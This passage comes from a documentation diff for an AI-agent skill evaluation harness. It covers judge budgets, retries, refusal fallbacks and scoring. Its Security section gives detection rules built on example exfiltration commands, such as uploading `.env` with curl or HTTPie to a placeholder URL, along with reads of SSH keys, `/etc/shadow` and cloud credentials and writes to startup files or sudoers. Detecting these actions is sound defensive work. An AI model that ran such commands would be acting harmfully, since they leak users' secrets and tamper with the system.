them differently. The metadata -identifies non-ASCII whitespace and Unicode format (`Cf`) characters by code -point, Unicode name, position, and ASCII-escaped context. Their presence alone -does not indicate an error; the task determines which characters are permitted. - -The original prompt and evidence remain intact. Metadata is added separately, -after evidence selection and compaction, with up to 20 occurrences per field -and 20 code points of context on either side. Additional occurrences are counted. -The metadata adds prompt tokens beyond the evidence budgets below. -Line and column positions are one-based Unicode code points in that field; only -LF advances the line number. Metadata cannot recover characters removed by -earlier processing, and does not identify all invisible or look-alike characters. - -The option is disabled by default. Enabling it selects the prompt-based goal -judge instead of the optional RAGAS route, so keep this setting consistent when -comparing scores. Facts can help a judge interpret evidence but do not guarantee -correct judgments. Prefer executable checks for requirements they can verify. - -### Evidence budgets - -Each LLM judge sees a bounded evidence bundle drawn from the trajectory rather -than the full transcript. Sections are added in priority order until the -judge's character budget runs out, so lower-priority sections are dropped or -clipped first: - -| Judge | Evidence, highest priority first | Budget variable | -| --- | --- | --- | -| `accuracy` | Final response, produced files and writes, the six most recent tool results | `SKILL_EVAL_ACCURACY_BUDGET` | -| `goal_accuracy` | Final response, end-state file changes, the twelve most recent tool results | `SKILL_EVAL_GOAL_ACCURACY_BUDGET` | -| `behavior_check` | File changes, final response (capped by `SKILL_EVAL_BEHAVIOR_FINAL_RESPONSE_LIMIT`), the user request, and a compact tool history | `SKILL_EVAL_BEHAVIOR_CHECK_BUDGET` | - -When the case's expected output or assertions contain a backtick-quoted -snippet of four or more characters, or an output path under -`/workspace/output`, `/output`, or `/logs/agent`, every bundle starts with a -short deterministic fact list marking each one observed or not observed in the -agent's tool calls. - -A judge can score only what its bundle contains. Evidence that was dropped or -clipped cannot count, so on a long trajectory a behavior that appears only in -truncated history can be judged as not observed. In the results tree, each -judge's details in a trial's `reward.json` include an `omitted` record -(`count`, `truncated`, and `reason`); when `truncated` is `true` on cases that -matter, raise that judge's budget. For `behavior_check`, the reason names each -setting that cut evidence: `SKILL_EVAL_BEHAVIOR_CHECK_BUDGET`, -`SKILL_EVAL_BEHAVIOR_FINAL_RESPONSE_LIMIT`, or both. Raise each setting it -names; raising the budget does not clear a cut made by the final-response -limit. Larger budgets send longer judge prompts and use more evaluator -tokens. The *default* behavior budget never falls below the final-response -limit plus 4,000 characters, so raising the limit alone leaves room for the -tool history; a budget you set yourself is used exactly as set. Set these -variables in the host environment; -SkillEvaluator forwards them to the verifier. Defaults and accepted values are -in [Judge evidence budgets](/skills/skillevaluator/environment-variables#judge-evidence-budgets). - -`behavior_check`'s `omitted` record carries four further keys, because -`truncated` alone cannot say whether the judge still had what it needed: - -- `incomplete_sections` — the evidence sections whose complete source did not - reach the judge, by name: `final response`, `user request`, `file changes`, - `compact tool history`. Each is compared against its unclipped source, so - `file changes` and `compact tool history` also appear when a single write - body or tool result was longer than its own per-entry allowance, not only - when the overall budget was exceeded. -- `required_complete` and `required_missing` — whether the *required* - evidence survived. Only `final response` is required: file changes and the - tool history grow with the run, so any finite budget shortens them on a long - trajectory, and their loss is reported but never withholds a score. -- `expected_behaviors_verified` — whether the deterministic fact list already - settles every expected behavior, in which case the evidence that was cut - cannot change the judge's answer. - -When `required_complete` is `false`, `behavior_check` returns an evaluation -error with no score instead of grading the evidence loss as a behavior -failure, and **the case then has no overall score at all** — an unscored -metric that is not "not applicable" leaves `overall_score` null, so the case -drops out of any gate or comparison keyed on it. Raise the two settings the -`reason` names, or shorten the case, and re-run. The one exception is -`expected_behaviors_verified`: when every expected behavior names an artifact -path or backtick-quoted snippet that the deterministic fact list above the -evidence already marks observed, the missing text cannot change the answer, so -the case is judged and scored normally. - -### Judge requests and retries - -- **Structured output.** Each judge requests a fixed JSON schema. OpenAI and - OpenAI-compatible chat-completions endpoints, including NVIDIA Build, receive - a strict JSON Schema `response_format`; Anthropic `/v1/messages` receives - `output_config`. Bedrock judges use prompt-only JSON. -- **Automatic downgrade.** If an endpoint rejects the schema option itself - with HTTP 400 or 422 (for example, `response_format` is unsupported, or a - gateway turned the schema into a `tool_choice` the model rejects), the - judge repeats that request without the schema and logs a warning. It then - skips the schema for that provider, endpoint, and model for the remaining - judge calls in that verifier run. Other 400 and 422 errors are not - downgraded. -- **Reply validation.** Replies are checked against the expected fields either - way. An empty, unparseable, or invalid reply, including an empty reply from a - reasoning model that ran out of output tokens, gets one retry that names the - problem, for example `steps not judged: [2]`. `behavior_check` can also - salvage complete per-behavior results from a truncated reply and counts the - missing behaviors as not passed. -- **Saved judge evidence.** The verifier writes every judge attempt to - `judge_attempts.json` next to the trial's `skill_evaluator_reward.json` as it - happens, so the file also explains a judge that failed. Each entry records - the metric, attempt number, method (`llm`, `ragas`, or `salvage`), judge - model, status (`accepted`, `rejected`, `replied`, or `error`), and problem, - along with the prompt and reply. When `behavior_check` is scored from a - truncated reply, the LLM attempts keep their own status (`rejected`, or - `error` if the retry failed in transport), and an `accepted` `salvage` - entry, numbered like the truncated attempt, holds the rebuilt results. - When the RAGAS goal scorer runs, each request it sends is saved as a `ragas` - entry with its messages as the prompt and the model named in the request. A - `replied` entry holds the judge's reply: the text or the tool-call arguments - RAGAS parses, or the whole reply body when it has neither, such as a refusal - or a content-filter stop. An `error` entry holds the HTTP status and body, - or the reason the reply was not received. A request that fails before any - response arrives, such as a refused connection, saves no entry of its own. A - last `ragas` entry is `accepted` with the score RAGAS computed, or `error` - with the reason the prompt judge ran instead. Only that last entry counts - toward `--max-judge-calls`; the request entries do not. Configured - credentials, common key shapes, URL userinfo, `Authorization`, API-key, - token and `Cookie` header values, and credential flag values (`--token`, - `--password`, `curl -u user:password`) are masked, also at the start of a - line in JSON-escaped text such as RAGAS prompts, where a line break is the - two characters `\n`, and inside JSON-escaped quotes (`-u \"user:password\"`), - as in tool-call arguments. That includes a value whose flag or header name - was masked together with an unquoted credential value that ends the line - before (`--password ...\n--token ...`). Values whose quotes are escaped twice - or three times, as when a RAGAS prompt repeats a tool call's arguments, and - single-quoted values whose quotes are escaped once or twice, as in Python - source (`[\'--password\', \'...\']`), are masked too. Long prompts and - replies are shortened. The prompts contain the task question, expected - answer, and agent evidence. Pass `--harbor-keep-jobs` to keep the Harbor - trial directories that hold this file. -- **Reasoning models.** GPT-5 and GPT-6 judges get no `temperature` and at - least 32,768 output tokens, because reasoning tokens count against the - limit; other judges get 16,384. GPT-6 judges and Claude 5.5 or later judges - on the Anthropic API are sent reasoning effort `medium`; other models keep - their default effort. -- **Refusals.** A safety-classifier refusal is never scored as an answer. On - the native Claude API, Claude 5.5 or later judges use server-side fallback to - `claude-opus-4-8`, and on Bedrock a filtered Claude 5.5 reply is retried - once on Claude Opus 4.8 in the same geography. - `SKILL_EVAL_LLM_REFUSAL_FALLBACK_MODEL` changes that target, or turns it off - with `none`; a target equal to the judge model is never sent. A refusal or an empty reply - then moves on to the next `LLM_JUDGE_FALLBACK_MODELS` entry, if any. - Each judge's details in the trial's `skill_evaluator_reward.json` record - `judge_model_used`, `judge_reasoning_effort`, and `judge_fallback_used`. - When a case uses different judge models across its two conditions, - repeated attempts, or scoring steps of a multi-step task, it is left out of - that judge metric's Skill Lift and counted in `judge_mixed_cases` in - `lift.json`. The arm scores keep all scored cases; the affected evaluator, - dimension, and overall lift use the remaining eligible comparisons. -- **RAGAS goal scorer.** With the `openai` provider on the canonical - `https://api.openai.com/v1` endpoint and a judge model that is not a GPT-5 or - GPT-6 reasoning model, `goal_accuracy` first tries the RAGAS - `AgentGoalAccuracyWithReference` scorer through its own client, without the - schema or retry handling above but within the same time budget. A RAGAS - score is recorded with `"method": "ragas"` and the judge-model fields above. - If RAGAS is unavailable, fails, or returns a score other than `0.0` or - `1.0`, the verifier log shows a warning with the redacted error, and the - prompt judge runs instead (`"method": "custom"`). A case scored by RAGAS in - one condition and by the prompt judge in the other counts as a judge mix - even with the same model, so it is left out of the `goal_accuracy` lift the - same way. -- **Transient failures.** HTTP 408, 429, and every 5xx response except 501 and - 505 are retried, including 520–524 proxy errors and 529 overload responses. - Connection errors, timeouts, and Bedrock throttling or service-unavailable - errors are also retried with jittered exponential backoff. TLS certificate - verification failures are terminal, including when an SDK wraps them as a - generic connection or service-unavailable error. A `Retry-After` header, - in seconds or as an HTTP date, sets the wait; a value - above the maximum retry delay fails immediately instead of stalling. -- **Time budget.** Each judge has its own wall-time budget (180 seconds by - default) inside the generated task's 600-second verifier timeout, which - leaves time to write failure artifacts. Requests are cut off at the - deadline, and a retry whose wait would reach it is not attempted. If you - raise the per-judge budget, scale the verifier timeout with - `--timeout-multiplier` so the three judges still fit. - -Retry counts, delays, and the per-judge budget come from the host environment -and are forwarded to the verifier; see -[LLM retries and judge time budget](/skills/skillevaluator/environment-variables#llm-retries-and-judge-time-budget). -Retries and downgrades do not change scoring formulas. A judge that still fails -is an evaluation infrastructure failure, not a `0.0` score, and the affected -condition publishes no scores; see -[Tier 3 judge failure semantics](/skills/skillevaluator/environment-variables#tier-3-judge-failure-semantics). - -### Judge fallback and retry policies - -Two opt-in host variables limit which models may answer a standard judge and -how often it is asked. Both default to the behavior above. They are forwarded -like `LLM_JUDGE_FALLBACK_MODELS`: only to standard verifier jobs, never to the -agent environment or `custom_only` runs. - -- **`LLM_JUDGE_FALLBACK_POLICY=replace`.** Only the judge model and your - `LLM_JUDGE_FALLBACK_MODELS` entries answer. The built-in refusal fallback - for Claude 5.5 or later judges (`SKILL_EVAL_LLM_REFUSAL_FALLBACK_MODEL`, - default `claude-opus-4-8`) is not used, on the native - Claude API or on Bedrock. The default, `append`, keeps it. -- **`LLM_JUDGE_RETRY_POLICY=strict`.** Each judge tries at most three models: - the judge model, then the first two `LLM_JUDGE_FALLBACK_MODELS` entries. It - sends at most two requests to each, and all of them share the judge's time - budget. - - A request that fails with a retryable HTTP status, a connection error, or - Bedrock throttling is retried at most once, then the next model is tried. - A model the provider reports as not found, invalid, or not accessible to - the key moves on without a retry. That covers the errors - `LLM_JUDGE_FALLBACK_MODELS` already falls back on, OpenAI's - `model_not_found`, a Claude `not_found_error` that names the model, and - Bedrock's `AccessDeniedException`, `ResourceNotFoundException`, and - invalid model identifier errors. A `Retry-After` wait above the maximum - retry delay moves on without waiting. A wait or request that would pass - the judge's deadline ends the judge. - - A refusal, a TLS certificate failure, an authentication error, and any - other non-retryable HTTP status end the judge. So does a provider error, - even on HTTP 429, that says a quota, budget, billing, or credit limit was - reached, or that a content filter, safety, or security policy rejected - the request. Only the provider's error code, type, and message are read - (the first 500 characters of a body that is not JSON), and only whole - phrases such as `insufficient_quota`, `budget exceeded`, - `credit balance`, or `content_filter` count, so a model id or proxy host - name in the error does not. These are not retried or handed to another - model, and the built-in refusal fallback is not used either. - - The first completed reply is final. It must be exactly one JSON object, - with only whitespace around it: no prose, Markdown fences, second object, - duplicate key, or `NaN`. An empty, invalid, or truncated reply fails the - judge without the format retry or `behavior_check` salvage, and - `goal_accuracy` skips the RAGAS scorer, which sends its own requests. - - The default, `legacy`, keeps the retries, fallbacks, format retry, and - salvage described above. - -Values are case-insensitive. Any other value stops a run with standard -grading at configuration, before any trial starts. If one still reaches the -verifier, every standard judge fails before a request is sent, so the affected -conditions publish no scores. When set, `run_config.json` records the values as -`judge.fallback_policy` and `judge.retry_policy`. A `custom_only` run does not -read them. +The command selects the agent for your provider, prepares the tasks, runs both +arms, and saves the report. **Model calls can incur charges.** One attempt +means one try per case in each arm; existing datasets run all their cases. +[Control the run size and cost](/skills/skillevaluator/tier3-run-options#plan-for-cost). -## Reading results + + If your skill has no evaluation dataset, the command generates one starter + case. If a valid dataset or native task source already exists, it reuses it + unchanged. Invalid sources stop the run instead of being replaced. -In the terminal, a finished run renders **Results by Evaluator** — each -evaluator's metrics plus Skill Lift — and **Results by Dimension**, the five -rollups, followed by a compact Artifacts panel pointing at the report and -output directory. A failed run renders the same structured display instead of -a bare exception. + A one-case starter checks the workflow; it cannot establish how well the + skill performs across its intended tasks. To review cases before any live + trials, follow [Prepare a fuller evaluation](/skills/skillevaluator/tier3-run-options#prepare-and-review-a-fuller-evaluation). + -Every evaluator score and dimension score is on a 0.0 to 1.0 scale. The -generated standard grader rejects non-finite values and clamps numeric scores -with `max(0.0, min(1.0, score))`. If a required judge fails, the result is -unscored rather than converted to `0.0`. +## Read the report -A metric can also be N/A (not applicable) for an eval case. It never counts as -`1.0` or `0.0`: - -- `behavior_check` is N/A when the case has no `assertions` (legacy - `expected_behavior`), and `accuracy` and `goal_accuracy` when it has no - `expected_output` (legacy `ground_truth`). An empty or whitespace-only - reference, or an empty list, counts as missing. The verifier does not call - those judges. `skillevaluator tier3 ./my-skill` and `tier3 init-harbor-task` - reject an empty `expected_output` only in a `{"skill_name", "evals"}` - dataset. A flat dataset (a JSON or YAML list, `{"cases": [...]}`, or any - `evals.jsonl`) is legacy: there an empty or whitespace-only - `expected_output` or `ground_truth` is accepted and makes `accuracy` and - `goal_accuracy` N/A. -- `skill_execution` and `skill_efficiency` are N/A in a baseline arm that has - no skill it could activate. A baseline arm that stages a skill the case could - activate is scored on them, and the case rules below apply to it too. -- `skill_efficiency` is N/A for a negative case (`should_trigger: false`, or a - `null` or empty `expected_skill` without `should_trigger`, which is how - `create-eval-dataset` writes one), because the case expects no skill use to - measure. `skill_execution` still scores a negative case: it checks that the - agent left the skill under test alone. -- Both are N/A for a case that is not negative and names no `expected_skill`: a - legacy case without `expected_skill` and `should_trigger`, or one with - `should_trigger: true` and no `expected_skill`. In the agentskills.io shape a - case without `expected_skill` gets the dataset's `skill_name`. -- A positive case whose agent made no tool calls still scores `0.0` on both. -- Efficiency has a with-skill score only when some case is positive and names - an `expected_skill`. Without such a case the agent cannot PASS (see below), - for example when every case is negative, as in a run filtered to the negative - cases, or when no case names an `expected_skill`. Discoverability then has no - with-skill score either, unless some case is negative. -- Security is never N/A. - -In `skill_evaluator_reward.json` an N/A metric's value is `null`, and -`details.` records `status: "not_applicable"` and a `reason`. -Harbor's numeric `reward.json` leaves the metric out. The trial's overall -score, the dimension scores, pass@k and Skill Lift leave N/A metrics out, and -a dimension whose metrics are all N/A drops out of the overall score. A judge -that answers N/A for a case that defines its reference counts as a failed -judge, so the trial is unscored. Each arm's `summary.json` lists the metrics -that were N/A in every trial (`not_applicable_metrics`) and how many trials -marked each one (`not_applicable_counts`). The terminal summary and the -Markdown and HTML reports show `N/A` for those scores and for their lift. - -An agent's verdict reads only the with-skill arm, and the agent can pass only -with a with-skill score in every dimension. When a dimension's metrics are N/A -in every with-skill trial, for example Correctness when no case defines -`expected_output` (legacy `ground_truth`), that dimension has no with-skill -score, so the agent cannot PASS (see the verdict table below). A dimension that -is N/A only in the baseline, such as Discoverability and Efficiency in a -baseline with no skill it could activate, does not affect the verdict. - -| Dimension | Key question | Maps to | Weights | Source | -| --- | --- | --- | --- | --- | -| Security | Is it safe to use? | `security` | 1.0 | Deterministic checks of the trace and agent actions | -| Correctness | Is the answer correct? | `accuracy` | 1.0 | LLM judge (`judge_accuracy`) | -| Discoverability | Was the right skill loaded when needed? | `skill_execution` | 1.0 | Deterministic checks of the trajectory and tool calls | -| Effectiveness | Did the skill help complete the task? | `goal_accuracy` + `behavior_check` | 0.5 + 0.5 | LLM judge plus directly evaluated declared checks | -| Efficiency | Did it avoid wasted tool or skill usage? | `skill_efficiency` | 1.0 | Deterministic checks of the trajectory and tool calls | - -The Security check's network rule warns when an agent's `curl`, `wget`, or -HTTPie command uploads data (for example `-d`, `-F`, `-T`, `--post-data`, or a -`POST`, `PUT`, or `PATCH` method) or sends a secret-named variable. Every client -named after another command, as in `find . -exec curl -d @{} URL \;`, is -checked with its own rules, so a command that only names a client, such as -`apt-get install -y curl`, `which curl`, `grep -rn http src/`, or prose in a -here-document, is not a network command, and a plain request through a command -that is not a runner, such as `strace -f curl URL`, is scored like a direct -`curl URL`. A mention followed by an HTTP method, an upload flag, or a -`key=value` word, such as `http POST` in prose or -`grep -n http server.log status=500`, still warns. - -Linux finds a command by its exact name, so a later bare word spelled `HTTP`, -`HTTPS`, or `Http`, as in the here-document or `apply_patch` prose -`Use HTTP POST to create an item.`, does not start HTTPie. Its method word is -not read as an upload, while a body item, piped or redirected input, or `--raw` -after it still warns. Its method word still warns when a `name:@file` item -follows, because that item may send a file as a header. The shell removes -quotes and backslashes and expands braces first, so a quoted, escaped, or brace -item such as `X-Data:"@.env"`, `X-Data:\@.env`, or `X-Data:{@,}.env` counts, -and so does a `$VAR` or backtick word, which may hold one. A word with a -slash or backslash, such as `./HTTP`, `/usr/local/bin/HTTP`, or the prose -`HTTP/HTTPS`, and a word that ends in `.exe` in any case, such as `HTTP.exe` or -`http.EXE`, are read as a path or a Windows program name, which a host may find -in any case, so their method word still warns. A command word keeps the -case-insensitive match, so `HTTP POST URL` still warns. A word that a -pass-through wrapper runs, a printer pipes on, or a `$VAR` command word may -start keeps it too, so `strace -f HTTP POST URL`, `echo HTTP POST URL | sh`, -and `$RUN HTTP POST URL` still warn. Another command that runs a later word, -such as `find -exec`, does not keep it, so on a host that finds a command in -any case, such as macOS or Windows, `find . -exec HTTP POST URL \;` with no -body item does not warn; a method word alone sends no file or variable. - -Each here-document line is read as a command, and `|` and `;` start a new -command, so some prose with a capitalized `HTTP` word still warns: - -- a line that starts with `HTTP POST`, as in `HTTP POST creates an item.`; -- a method word followed by a `$VAR` or backtick word, such as an inline code - span, as in ``Use HTTP POST on `/api/items` to create an item.``, because - that word may hold a `name:@file` item; -- a Markdown table row with an `HTTP` word in any cell, as in - `| Create | Send an HTTP request |`, because `|` reads as a pipe, so the - cell's `HTTP` word gets piped input; -- `HTTP` and a method word right after a `;`, as in - `The HTTP POST method is not idempotent; HTTP PUT is.`, because `HTTP` is the - command word there. - -A fixed set of runners that start a command in another host, container, root, -user, or network namespace, such as `ssh`, `docker`, `docker-compose`, -`kubectl`, `apptainer`, `chroot`, `systemd-nspawn`, `bwrap`, or -`ip netns exec`, warns on any client named after it, even one named only as -data, as in `docker exec app apt-get install -y curl`. That holds when the -runner is the command itself, including after a compound keyword (`do`, -`then`, `{`, `(`, `!`), a function header, a `case` pattern, or `coproc`, also -when glued to it, as in `while true; do ssh host curl URL; done`, -`if(ssh host curl URL)`, `f(){ ssh host curl URL; }`, or -`case x in x)ssh host curl URL;; esac`, when it follows a pass-through wrapper -such as `strace`, `flock`, or `watch`, and when a function that wraps it is -called. A runner reached through another command, as in -`find . -exec ssh host curl URL \;` or -`git submodule foreach ssh host curl URL`, and a runner outside the set get -only the client's upload rules. - -Piped or redirected input stays with a text consumer such as `grep`, `awk`, -`sed`, or `jq`, so `env | grep -i http` is not an HTTPie upload, while -`cat .env | strace -f http URL`, `sudo < .env http URL`, -`while read -r l; do http URL; done < .env`, -`case "$1" in *) < .env http URL;; esac`, and `f() { http URL; }; f < .env` are. -A function that wraps a client, as in `up() { curl "$@"; }` or -`up(){ curl "$@"; }`, passes each call's arguments to that client's rules. A -`$VAR` command word with no known value, as in -`for c in curl wget; do $c --post-file=.env -q URL; done`, gets the curl and -wget upload rules when the action names curl or wget as a word, so -`$GREP -F https://example.com src/` does not. A client or runner named by any -command of a substitution, such as `$(which curl)`, `$(env which curl)`, -`$(cd /tmp && which curl)`, or `$(command -v ssh)`, or printed with its -arguments by `$(echo curl -d @.env URL)`, is checked the same way. When a -substitution names several, as in `$(command -v wget || command -v curl)`, the -command is checked once for each. - -The run's configured judge provider and model are stored under `judge` in -`run_config.json`, separately from the agent's provider and model. The same run -configuration is embedded in `result.json`, so a judged score can be traced to -the configuration that produced it. An allowed provider fallback may use a -different model for an individual call. - -This provenance does not establish that the LLM judgments are correct. The -[grader validation workflow](/skills/skillevaluator/grader-validation) runs the shipped verifier -against independently labelled cases and reports agreement, abstentions, -errors and repeat variability. The bundled reference suite is not a published -claim of inter-rater agreement or universal judge reliability. - -The **Quality Score** shown as a value out of 100 in the HTML report comes from -Tier 1 static analysis. It is separate from the Tier 3 evaluator scores, -dimensions, overall score, and Skill Lift. - -For standard grading, each arm's overall score is the equal-weight mean of the -dimensions that arm can be scored on. An N/A dimension is left out; it is not -counted as 0 or 1. Within Effectiveness, N/A source metrics are also left out, -and the dimension is N/A only when neither source metric can be scored: - -```text -overall = mean(scored(Security, Correctness, Discoverability, Effectiveness, Efficiency)) -Effectiveness = mean(scored(goal_accuracy, behavior_check)) +```bash title="Open the latest report" +skillevaluator view ./my-skill ``` -Effectiveness therefore enters the overall score once; its two source -evaluators do not receive an extra combined vote. The same aggregate drives -per-attempt pass@k, Skill Lift, comparison output, and best-agent selection. -Artifacts record this contract as -`score_policy: skill-evaluator-dimension-mean-v1`. Legacy metric sets and -historical partial reports retain their recorded scoring semantics instead of -being silently reinterpreted. - -The [Metrics Reference](/skills/skillevaluator/metrics-reference) works through each -sub-check behind the six evaluator scores, the arithmetic above them, and a -worked example you can check against one trial's `reward.json`. - -## Cost limits - -Runs can be bounded with `--max-agent-tokens`, `--max-judge-calls`, -`--max-attempts-total`, `--max-cost-usd`, and `--price-file`. The price file is -JSON keyed by model identifier; each model entry requires `input_per_mtok` and -`output_per_mtok`, and may set `cached_input_per_mtok` (defaulting to the -input rate). Cached prompt tokens use the cached rate and remaining prompt -tokens use the input rate. A model key must exactly match the resolved agent -model. Relative `harbor.price_file` paths resolve from the source skill -directory. - -The price file is user-supplied, not a verified billing rate card. Its currency -is as supplied by the file, labelled USD by `--max-cost-usd`; no currency -conversion or billing verification occurs. `budget.pricing` records -`source: user_price_file`, the file name without its absolute path, the SHA-256 -of the exact loaded bytes, and `rates_per_mtok` for models whose rates actually -derived an attempt cost (empty before any such derivation). The effective cached -rate is recorded even when it defaults to the input rate. -`verified_against_provider_billing` is always false. - -For each attempt, complete agent input/output token telemetry takes precedence -over provider-reported cost. Cost is uncached input times the input rate, plus -cached input times the cached rate, plus output times the output rate, divided -by one million. Cached tokens are clamped to input tokens; missing cached counts -are treated as uncached. If input/output telemetry is missing, reported agent -cost is used instead; otherwise cost is unmeasured, never invented or treated as -zero. An unknown attempt retains earlier measured subtotals and stops further -cost-bounded admission. - -`budget.charge_coverage.attempts_by_derivation` counts completed accounting -records as `price_file`, `provider_reported`, or `unmeasured`. The coverage policy -excludes judge inference, environment setup, containers, backend fees, and -infrastructure. Judge evidence does not supply structured token counts for -pricing; prompt/reply character counts are not converted to tokens or money. -Neither the computed cost nor a provider-reported fallback verifies billed -spend, and the admission boundary is not a hard currency ceiling. - -Token and cost limits cover agent inference only. `--max-judge-calls` counts -recorded judge attempts, excluding `salvage` entries, transport retries, and -requests made internally by RAGAS. Measured usage totals are retained even -when another attempt has no telemetry; that attempt is tracked as unmeasured. -Attempts that cannot start after a limit is reached are reported as `not_run`, -and the resulting run is partial. - -### Which dimensions apply to each arm - -Security is scored for every arm. Correctness uses `accuracy`, which is N/A -when `ground_truth` is missing. Effectiveness uses `goal_accuracy` -(`ground_truth`) and `behavior_check` (`expected_behavior`); each missing -reference makes its metric N/A. The dimension is N/A only if both metrics are -N/A. - -| Arm | Security | Correctness | Discoverability | Effectiveness | Efficiency | -| --- | --- | --- | --- | --- | --- | -| With skill, `should_trigger=true` | Scored | Scored with `ground_truth`; otherwise N/A | Scored when `expected_skill` names a skill; otherwise N/A | Scored for each present reference; N/A if both are missing | Scored when `expected_skill` names a skill; otherwise N/A | -| With skill, `should_trigger=false` (negative case) | Scored | Scored with `ground_truth`; otherwise N/A | Scored: `skill_execution` evaluates the negative case | Scored for each present reference; N/A if both are missing | N/A: a negative case has no skill use to measure | -| Without skill and no applicable alternate staged | Scored | Scored with `ground_truth`; otherwise N/A | N/A: no skill under test to discover or run | Scored for each present reference; N/A if both are missing | N/A: no skill under test to route to | -| Without skill, with an acceptable alternate staged | Scored | Scored with `ground_truth`; otherwise N/A | Scored when the staged skill matches a case candidate and the case is negative or names an `expected_skill`; otherwise N/A | Scored for each present reference; N/A if both are missing | Scored for positive cases that name an `expected_skill` and whose staged skill matches a case candidate; otherwise N/A | - -For a positive case, an alternate candidate is the expected skill or an -acceptable alternate. For a negative case, the candidate is the evaluated -skill, or the expected skill when no evaluated skill is recorded. In either -case, the staged name must match a candidate for the no-skill arm's skill -metrics to apply. The eval-case rules still apply after matching: a negative -case always leaves Efficiency N/A, and a positive case without `expected_skill` -leaves both skill metrics N/A. A case with neither `expected_skill` nor a -resolved `should_trigger` label also leaves both skill metrics N/A. - -Skill Lift per dimension and overall uses only cases and metrics both arms -scored; the `basis` block in `lift.json` records the shared comparison ([Skill -Lift reporting](/skills/skillevaluator/reports#skill-lift)). A baseline is never credited or -penalized for a skill it was not given. - -The Security trace check excludes plain `rm -rf` commands whose operands are -recognized regenerable caches, such as `.pytest_cache`, `__pycache__`, or -`~/.cache/uv`. Absolute cache paths are recognized only under `/workspace/` and -`/app/`. This narrow scoring exception does not authorize filesystem -access. Mixed targets, dynamic shell expressions, compound commands and -unsupported forms retain the existing destructive-command classification. - -A destructive-command finding scores the Security dimension `0.0`. Other -recursive `rm` commands outside `/tmp`, and `xargs rm` with a recursive or -force option, receive this finding. A force-only `rm -f` or `rm --force` -without `-r` or `--recursive` receives it only when a target resolves under -`/bin`, `/boot`, `/etc`, `/home`, `/lib*`, `/root`, `/sbin`, `/usr`, `/var` -(except `/var/tmp`), `~`, or `$HOME`. Brace lists such as `/{etc,usr}/hosts` -and dot globs such as `/tmp/.*/etc/hosts` are expanded first. For -`find ... -exec rm -f {} +`, and `-execdir`, `-ok` or `-okdir`, find's start -paths are the targets when the `rm` target can be a found file: `{}`, a -variable such as `"$1"`, or a relative path. An absolute target such as -`/tmp/lock` is checked on its own. A relative target resolves against the -directory the shell is in when the `rm` runs. That starts at the tool call's -`workdir` or `cwd` argument, or else where the previous call left the shell, -at first `/workspace`; the grader cannot see a container's own `WORKDIR`. -Each `cd`, `pushd` or `popd` that runs before the `rm` then moves it, in -order, so `cd /etc && rm -f hosts` receives the finding. A later `cd` -replaces an earlier one, a `( ... )` subshell's `cd` ends with the subshell, -and `cd` in quoted text, another command's arguments or a heredoc body leaves -it alone, so `cd /etc && cat hosts; cd /workspace && rm -f out.txt`, -`(cd /etc && ls); rm -f out.txt` and `echo 'run: cd /etc'; rm -f out.txt` -do not receive it. An `rm` inside `$( ... )`, backticks or a heredoc body is -checked against every directory the surrounding command line visits, and in -text the grader cannot split into shell words, every `cd` before the `rm` -counts, in order. An absolute target under a protected root receives the -finding even when that is the task's project directory, such as -`/usr/src/app/out.txt`. Resolution work is capped per trace: after one tool -call moves the shell through more than 32 distinct directories, relative -targets stay unresolved for the rest of the trace, and once the work budget -is spent, every force-only target counts as protected. Both receive the -finding. - -A sensitive-path finding also scores the Security dimension `0.0`. An agent -command, or a read or write tool path, that names a credential store is a -`sensitive_path_access`: `/etc/shadow`, `~/.ssh`, `/root/.ssh`, -`.aws/credentials`, `.config/gcloud`, `~/.aws/config`, `~/.azure`, -`~/.kube/config`, `~/.docker/config.json`, `~/.netrc`, `~/.git-credentials`, -`~/.config/gh/hosts.yml`, `~/.pypirc`, `~/.npmrc`, the Docker socket, the -Kubernetes service account secrets, or a cloud metadata endpoint. Naming the -store is enough, so `kubectl --kubeconfig ~/.kube/config get pods` receives -the finding. - -A path matches however it names the home directory: `~`, `$HOME`, `${HOME}`, -`~user`, `/home/`, `/Users/` (not `/Users/Shared`), `/root`, or -`C:\Users\`. `//`, `/./`, and `dir/..` segments are resolved first, so -`cat /home/agent//.ssh/id_rsa` and `cat $HOME/.ssh/id_rsa` match `~/.ssh`. The -spelling must start a path word. The default word of a `${VAR:-word}` or -`${VAR-word}` that starts a path word starts one too, so -`cat "${SSH_KEY:-$HOME/.ssh/id_rsa}"` matches `~/.ssh`, while -`cat backup-$HOME/.netrc` and `cat backup-${X:-$HOME/.netrc}` do not match -`~/.netrc`. The expansion is not resolved, so the whole path must lie inside -the default word: `ls "${XDG_CONFIG_HOME:-$HOME/.config}/gcloud"`, whose path -goes on after the closing brace, does not match `.config/gcloud`. A -project file that only shares a name with a home file, such as -`/home/agent/project/.bashrc` or `./project/.npmrc`, does not match. -`.aws/credentials` and `.config/gcloud` match in any directory in commands -and in Read, Write, and Edit paths, but an `apply_patch` header such as -`project/.aws/credentials` is a workspace file. `~/.azure` and -`~/.config/opencode` match the directory and paths inside it, also when `:` -or `,` follows the name, as in `docker run -v ~/.azure:/root/.azure`, but not -a longer name such as `~/.azure_notes.md`. Other entries also match a longer -name, such as `~/.netrc.bak`. - -A write to a protected file is a `sensitive_file_write`. The protected files -are the shell startup files `~/.bashrc`, `~/.bash_profile`, `~/.zshrc`, -`~/.zprofile`, `~/.profile`, `~/.config/fish/config.fish`, `/etc/profile`, and -`/etc/profile.d`; `/etc/sudoers` and `/etc/sudoers.d`; -`~/.ssh/authorized_keys`; `~/.gitconfig`; and the agents' own settings -`~/.claude/settings.json`, `~/.claude.json`, `~/.codex/config.toml`, and -`~/.config/opencode`. A Write or Edit tool path that names one is a write, and -so is an `apply_patch` file header. The `view` command of a text editor tool -(`str_replace_editor` or `str_replace_based_edit_tool`) reads its file, so it -is checked like a Read: a view of `/root/.bashrc` is not a write, and a view -of `~/.netrc` is still a `sensitive_path_access`. When the directory an -`apply_patch` runs in cannot be resolved, as after `cd "$REPO"`, a relative -header such as `.bashrc` or `.aws/credentials` may still name a home file, but -`.npmrc`, `.gitconfig`, `.claude/settings.json`, and the other files added to -these lists with the home spellings count only from a known directory, -because projects often have them too. A shell command is a write in either -of two cases: - -- It names `~/.bashrc`, `~/.zshrc`, `~/.profile`, `/root/.bashrc`, - `/root/.zshrc`, `/etc/profile`, `/etc/profile.d`, `/etc/sudoers`, or - `/etc/sudoers.d` in that spelling and has an output redirection, `tee`, or - `sed -i` anywhere. This is the earlier rule, so - `cat ~/.bashrc 2>/dev/null` still receives the finding. A name counts only - where a path starts and not as the file a `source` or `.` command reads, so - `source 